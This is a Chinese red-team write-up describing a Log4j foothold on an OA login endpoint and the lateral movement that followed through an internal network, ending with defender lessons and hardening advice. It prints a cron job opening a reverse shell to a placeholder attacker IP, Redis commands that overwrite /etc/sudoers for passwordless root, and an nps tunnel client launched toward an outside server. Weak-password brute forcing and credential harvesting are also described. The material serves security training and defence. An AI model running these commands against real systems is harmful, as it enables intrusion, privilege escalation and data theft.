[有手就行]Log4j打点后与管理员斗智斗勇
字数 1996 2025-08-27 12:33:48

Log4j漏洞利用与内网横向渗透实战教学

概述

本教学文档基于某省HVV红队实战经验,详细讲解如何利用Log4j漏洞进行内网渗透,以及与管理员对抗的过程。文档内容已做脱敏处理,仅供学习防御技术使用。

信息收集阶段

资产发现与梳理

  1. 前端资产识别

    • https://op.example.com/login
    • http://chm.example.com/login
    • https://oa.example.com/auth/login
    • https://test.example.com/auth/login
    • http://cms.example.com/login (失效)
    • https://vm.example.com/login
  2. API接口识别

    • https://webapi.example.com:20860/gateway-dev/usercenter/
    • http://webapi.example.com:20860/chm/
    • http://api.example.com:20242/gateway/organization-center/
    • http://api.example.com:20242/gateway-test/organization-center/
    • https://api.example.com:20242/authTest/login
    • https://api.example.com:21915/login

技术栈分析

  • 前后端分离架构
  • 统一API网关设计
  • 多环境共存(dev/test/prod)

漏洞利用阶段

Log4j漏洞利用

  1. 漏洞发现

    • 在https://oa.example.com/的登录接口发现Log4j漏洞
  2. 利用工具

  3. 权限维持

    • 创建计划任务保持持久化
    # 示例:创建定时反弹shell的计划任务
    (crontab -l 2>/dev/null; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/攻击者IP/端口 0>&1'") | crontab -
    

内网横向移动

第一阶段:初步横向

  1. 内网扫描

    • 使用fscannacs扫描C段
    • 发现Redis未授权访问漏洞
  2. Redis利用

    # 创建sudo免密用户
    redis-cli -h 目标IP
    > config set dir /etc/
    > config set dbfilename sudoers
    > set test "\n\n用户名 ALL=(ALL) NOPASSWD:ALL\n\n"
    > save
    
  3. 隧道建立

    • 使用nps建立socks隧道
    wget https://github.com//ehang-io/nps/releases/download/v0.26.10/linux_amd64_client.tar.gz
    tar -zxvf linux_amd64_client.tar.gz
    nohup ./npc -server=xxx.xxx.xxx.xxx:xxx -vkey=xxx > npc.log 2>&1 &
    

第二阶段:深入横向

  1. 网络拓扑探测

    • 使用ICMP扫描确定内网规模
    • 发现两个主要C段
  2. 非Web资产利用

    • Redis未授权和弱口令(共获取约12台机器)
    • 从Web配置文件中提取数据库密码
    • 密码复用分析,补充到扫描器字典
  3. Web服务利用

    • Nacos身份绕过漏洞利用
    • 获取数据库和AK(Access Key)配置
    • 生产系统弱口令爆破(常见密码:123456、admin123等)

对抗管理员的技巧

  1. 入口点失效处理

    • 当OA接口被关闭时,迅速寻找相似系统(test.example.com)
    • 确认存在相同漏洞并建立新入口
  2. 多跳板策略

    • 建立多个socks代理通道
    • 当某个跳板失效时快速切换到其他通道
  3. 快速资产收集

    • 优先获取非Web资产
    • 从配置文件中提取凭证信息

关键服务利用

LDAP服务利用

  1. 发现LDAP管理端

    • 管理着Jira、Jenkins等服务
    • 从LDAP中获取可解密的密码
  2. 堡垒机突破

    • 解密后登录堡垒机
    • 获取数十台服务器访问权限

Jira利用

  • 查看开发过程和源代码
  • 寻找敏感信息和硬编码凭证

爆破策略

  1. 密码字典构建

    • 从已获取系统中提取常用密码
    • 包含:默认口令、123456、admin123等
  2. 爆破目标

    • 数据库(MySQL、Redis等)
    • 服务器SSH/RDP
    • 云服务AK
  3. 成果

    • 两个C段大部分资产控制权
    • OSS访问权限和数据泄露

防御与攻击的思考

攻击方视角

  1. 隐蔽性不足

    • 因时间紧迫未充分隐藏活动
    • 出网流量被检测到
  2. 改进建议

    • 使用加密隧道
    • 减少直接出网流量
    • 部署多个冗余入口点

防御方视角

  1. 现有防御问题

    • 安全设备仅告警未阻断
    • 响应依赖人工处理
    • 内网安全基础薄弱
  2. 典型内网问题

    • 密码复用严重
    • 弱口令普遍存在
    • 已知漏洞未修复
    • 网络隔离不足
    • 服务器直接出网

防御建议

  1. 立即措施

    • 启用安全设备的自动阻断功能
    • 限制服务器出网流量
    • 强制修改默认和弱口令
  2. 中长期措施

    • 实施网络分段和隔离
    • 建立完善的凭证管理系统
    • 定期漏洞扫描和修复
    • 部署EDR解决方案
    • 建立安全运维响应流程
  3. 监控增强

    • 异常出网流量监控
    • 特权操作审计
    • 账户异常行为检测

工具列表

  1. 漏洞利用:

  2. 内网扫描:

  3. 隧道工具:

  4. 代理工具:

    • Proxifier (Socks代理管理)

总结

本案例展示了从Log4j漏洞开始,到完整内网渗透的全过程,重点包括:

  1. 漏洞快速识别和利用能力
  2. 内网信息收集和横向移动技巧
  3. 与防守方的对抗策略
  4. 企业内网常见安全问题

防御方应从此案例中吸取教训,加强基础安全建设,而安全研究人员则应关注攻击手法以提升防御能力。

Log4j漏洞利用与内网横向渗透实战教学 概述 本教学文档基于某省HVV红队实战经验,详细讲解如何利用Log4j漏洞进行内网渗透,以及与管理员对抗的过程。文档内容已做脱敏处理,仅供学习防御技术使用。 信息收集阶段 资产发现与梳理 前端资产识别 : https://op.example.com/login http://chm.example.com/login https://oa.example.com/auth/login https://test.example.com/auth/login http://cms.example.com/login (失效) https://vm.example.com/login API接口识别 : https://webapi.example.com:20860/gateway-dev/usercenter/ http://webapi.example.com:20860/chm/ http://api.example.com:20242/gateway/organization-center/ http://api.example.com:20242/gateway-test/organization-center/ https://api.example.com:20242/authTest/login https://api.example.com:21915/login 技术栈分析 前后端分离架构 统一API网关设计 多环境共存(dev/test/prod) 漏洞利用阶段 Log4j漏洞利用 漏洞发现 : 在https://oa.example.com/的登录接口发现Log4j漏洞 利用工具 : 使用 WhiteHSBG/JNDIExploit 进行反序列化攻击 成功获取反弹shell 权限维持 : 创建计划任务保持持久化 内网横向移动 第一阶段:初步横向 内网扫描 : 使用 fscan 或 nacs 扫描C段 发现Redis未授权访问漏洞 Redis利用 : 隧道建立 : 使用nps建立socks隧道 第二阶段:深入横向 网络拓扑探测 : 使用ICMP扫描确定内网规模 发现两个主要C段 非Web资产利用 : Redis未授权和弱口令(共获取约12台机器) 从Web配置文件中提取数据库密码 密码复用分析,补充到扫描器字典 Web服务利用 : Nacos身份绕过漏洞利用 获取数据库和AK(Access Key)配置 生产系统弱口令爆破(常见密码:123456、admin123等) 对抗管理员的技巧 入口点失效处理 : 当OA接口被关闭时,迅速寻找相似系统(test.example.com) 确认存在相同漏洞并建立新入口 多跳板策略 : 建立多个socks代理通道 当某个跳板失效时快速切换到其他通道 快速资产收集 : 优先获取非Web资产 从配置文件中提取凭证信息 关键服务利用 LDAP服务利用 发现LDAP管理端 : 管理着Jira、Jenkins等服务 从LDAP中获取可解密的密码 堡垒机突破 : 解密后登录堡垒机 获取数十台服务器访问权限 Jira利用 查看开发过程和源代码 寻找敏感信息和硬编码凭证 爆破策略 密码字典构建 : 从已获取系统中提取常用密码 包含:默认口令、123456、admin123等 爆破目标 : 数据库(MySQL、Redis等) 服务器SSH/RDP 云服务AK 成果 : 两个C段大部分资产控制权 OSS访问权限和数据泄露 防御与攻击的思考 攻击方视角 隐蔽性不足 : 因时间紧迫未充分隐藏活动 出网流量被检测到 改进建议 : 使用加密隧道 减少直接出网流量 部署多个冗余入口点 防御方视角 现有防御问题 : 安全设备仅告警未阻断 响应依赖人工处理 内网安全基础薄弱 典型内网问题 : 密码复用严重 弱口令普遍存在 已知漏洞未修复 网络隔离不足 服务器直接出网 防御建议 立即措施 : 启用安全设备的自动阻断功能 限制服务器出网流量 强制修改默认和弱口令 中长期措施 : 实施网络分段和隔离 建立完善的凭证管理系统 定期漏洞扫描和修复 部署EDR解决方案 建立安全运维响应流程 监控增强 : 异常出网流量监控 特权操作审计 账户异常行为检测 工具列表 漏洞利用: JNDIExploit 内网扫描: fscan nacs 隧道工具: nps 代理工具: Proxifier (Socks代理管理) 总结 本案例展示了从Log4j漏洞开始,到完整内网渗透的全过程,重点包括: 漏洞快速识别和利用能力 内网信息收集和横向移动技巧 与防守方的对抗策略 企业内网常见安全问题 防御方应从此案例中吸取教训,加强基础安全建设,而安全研究人员则应关注攻击手法以提升防御能力。